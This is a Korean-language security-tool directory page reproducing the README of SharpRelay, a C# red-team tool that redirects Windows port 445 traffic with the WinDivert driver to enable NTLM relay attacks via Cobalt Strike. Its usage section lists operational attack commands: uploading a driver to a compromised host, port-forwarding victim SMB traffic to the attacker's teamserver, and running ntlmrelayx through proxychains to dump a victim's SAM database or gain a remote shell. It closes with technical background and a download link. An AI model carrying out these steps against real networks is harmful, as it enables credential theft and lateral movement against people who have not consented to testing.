Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
SharpRelay — C# 도구로 WinDivert 드라이버를 활용하여 Windows 포트 445 트래픽을 가로채고 리다이렉트하여 Cobalt Strike를 통한 NTLM 릴레이 공격을 가능하게 하며, 레드 팀 작전에서 측면 이동 및 자격 증명 수집을 지원합니다. | Kitploit
도구/GitHubGitHub/pkb1s/sharprelay
Packet Sniffing & AnalysisLateral MovementPenetration TestingRed Teaming
GitHubpkb1s/sharprelay

SharpRelay

C# 도구로 WinDivert 드라이버를 활용하여 Windows 포트 445 트래픽을 가로채고 리다이렉트하여 Cobalt Strike를 통한 NTLM 릴레이 공격을 가능하게 하며, 레드 팀 작전에서 측면 이동 및 자격 증명 수집을 지원합니다.

저장소 보기
1792125년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

사용법

이 공격이 작동하기 위한 유일한 요구사항은 로컬 관리자 권한이 있거나 드라이버를 로드할 수 있는 비콘(beacon)을 보유하는 것입니다. SharpRelay를 사용한 공격은 다음과 같이 작동합니다:

  • 서명된 WinDivert 드라이버를 손상된 호스트의 임의 폴더에 업로드합니다
  • SharpRelay를 실행하여 포트 445로 들어오는 패킷의 대상 포트를 수정하고 다른 포트(예: 8445)로 리디렉션합니다
  • 비콘에서 Cobalt Strike의 rportfwd 명령을 실행하여 손상된 호스트의 포트 8445를 팀서버의 포트 445로 전달합니다.
  • 릴레이된 트래픽을 피해자 네트워크로 다시 전달하기 위해 소크스(socks) 서버를 시작합니다
  • 프록시체인(proxychains)을 사용하여 Impacket의 ntlmrelayx를 실행하여 SMB 릴레이를 수행합니다
  • 피해자가 손상된 호스트의 포트 445에 접근하려고 하면 NTLM 인증이 팀서버로 전달되고 다른 머신으로 릴레이됩니다

다음 예제 명령어는 Cobalt Strike에서 실행하여 이러한 작업을 수행할 수 있습니다:

root@kitploit:~
socks 4444
rportfwd 8445 127.0.0.1 445
cd C:\Users\victim
upload /root/Desktop/intercept.sys
execute-assembly /root/Desktop/SharpRelay.exe fakeservice C:\Users\victim\intercept.sys 445 8445

위의 모든 작업이 성공적으로 실행되면 릴레이 서버를 시작해야 합니다 (프록시체인을 위 명령어에 지정된 포트(예: 4444)로 구성):

root@kitploit:~
proxychains ntlmrelayx.py -t smb://<VICTIM-IP> -smb2support

위 명령어는 피해자 호스트에서 SAM 데이터베이스를 덤프합니다. 또한 대화형 SMB 셸을 획득하거나 피해자에서 원격으로 명령을 실행하는 것도 가능합니다.

SharpRelay는 Win10 x64에서 테스트되었습니다.

빌드 지침

도구를 소스에서 빌드하려면 다음을 수행할 수 있습니다:

  • 저장소를 클론합니다
  • Visual Studio에서 프로젝트->NuGet 패키지 관리 를 열어 설치된 탭에 모든 NuGet 패키지가 표시되는지 확인합니다
  • 프로젝트를 빌드합니다

위 지침은 Visual Studio 2019를 사용하여 테스트되었습니다.

기술적 세부사항

SharpRelay는 WinDivert 드라이버를 기반으로 합니다. 설명에 따르면 WinDivert는 사용자 모드 패킷 가로채기 및 수정을 가능하게 하는 커널 드라이버입니다. 사용자는 필터를 지정해야 하며, 이 필터와 일치하는 모든 패킷이 가로채져 수정될 수 있습니다.

ReadMe 파일에서:

root@kitploit:~
The WinDivert.sys driver is installed below the Windows network stack.  The
following actions occur:

(1) A new packet enters the network stack and is intercepted by WinDivert.sys
(2a) If the packet matches the PROGRAM-defined filter, it is diverted.  The
    PROGRAM can then read the packet using a call to WinDivertRecv().
(2b) If the packet does not match the filter, the packet continues as normal.
(3) PROGRAM either drops, modifies, or re-injects the packet.  PROGRAM can
    re-inject the (modified) using a call to WinDivertSend().

우리에게 가장 중요한 점은 WinDivert를 통해 열린 Windows 포트로 향하는 트래픽을 가로채서 각 패킷의 TCP 소스 및 대상 포트를 수정하고, TCP 체크섬을 재계산한 후 패킷을 네트워크 스택에 다시 주입함으로써 다른 포트로 리디렉션할 수 있다는 것입니다.

Windows에서는 기본적으로 포트 445가 항상 실행 중입니다. 포트 445를 사용하는 과정에 대한 자세한 내용은 이미 다음 게시물에서 분석되었으므로 여기서는 다루지 않겠습니다. 다음 게시물을 읽어보시기 바랍니다:

  • https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/

위 게시물에는 또 다른 흥미로운 아이디어도 포함되어 있습니다. WinDivert를 사용하여 Metasploit을 통해 SMB 릴레이 공격을 수행하는 것입니다. divertTCPconn.exe와 함께 몇 개의 DLL과 드라이버 파일을 대상 호스트에 업로드하고 실행할 수 있습니다. 저는 이 공격이 훌륭하다고 생각했지만, 대상 호스트에 여러 DLL을 업로드해야 한다는 점이 마음에 들지 않았습니다.

그래서 제 목표는 디스크에 최소한의 파일만 남기면서 동일한 공격을 수행하고, Cobalt Strike를 통해 공격을 실행하는 것이었습니다.

우선, 저는 Cobalt Strike의 execute-assembly 함수를 활용하고 싶었기 때문에 .NET 프레임워크를 사용하여 코드를 작성하기로 결정했습니다. 처음에는 divertTCPconn을 C#으로 다시 작성하면 모든 것이 작동할 것이라고 생각했습니다. 그런데 이것은 매우 복잡하다는 것이 밝혀졌습니다. 다행히도 TechnikEmpire가 작성한 다음 NuGet 패키지를 찾았습니다:

  • https://github.com/TechnikEmpire/WinDivertSharp

WinDivertSharp를 사용하여 서비스를 생성하여 드라이버를 로드하고 WinDivert 드라이버와 통신하여 필요한 모든 패킷 수정을 수행하는 SharpRelay를 작성할 수 있었습니다.

도구 다운로드